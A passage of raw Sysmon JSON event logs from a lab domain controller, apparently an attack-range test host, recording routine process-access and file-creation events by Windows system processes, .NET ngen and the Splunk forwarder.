12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8047,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8048,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8049,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8050,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.541\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4315-5F2D-0000-00107B960F00}\r\nTargetProcessId: 4604\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.541","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4315-5F2D-0000-00107B960F00}","TargetProcessId":"4604","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8051,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.605\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42FA-5F2D-0000-00104EE50E00}\r\nTargetProcessId: 3852\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.605","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42FA-5F2D-0000-00104EE50E00}","TargetProcessId":"3852","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8052,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.605\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42FA-5F2D-0000-00104EE50E00}\r\nTargetProcessId: 3852\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.605","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42FA-5F2D-0000-00104EE50E00}","TargetProcessId":"3852","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8053,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.605\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42FA-5F2D-0000-00104EE50E00}\r\nTargetProcessId: 3852\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.605","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42FA-5F2D-0000-00104EE50E00}","TargetProcessId":"3852","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8054,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.760\r\nSourceProcessGUID: {90617006-431C-5F2D-0000-0010C2EE0F00}\r\nSourceProcessId: 4604\r\nSourceThreadId: 3612\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.760","SourceProcessGUID":"{90617006-431C-5F2D-0000-0010C2EE0F00}","SourceProcessId":"4604","SourceThreadId":"3612","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8055,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:41.182\r\nProcessGuid: {90617006-431C-5F2D-0000-0010AEF10F00}\r\nProcessId: 3852\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\f0c-0\\System.Web.Extensions.Design.dll\r\nCreationUtcTime: 2020-08-07 12:03:41.182","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:41.182","ProcessGuid":"{90617006-431C-5F2D-0000-0010AEF10F00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\f0c-0\\System.Web.Extensions.Design.dll","CreationUtcTime":"2020-08-07 12:03:41.182","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8056,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:41.229\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4303-5F2D-0000-00101D410F00}\r\nTargetProcessId: 4368\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: 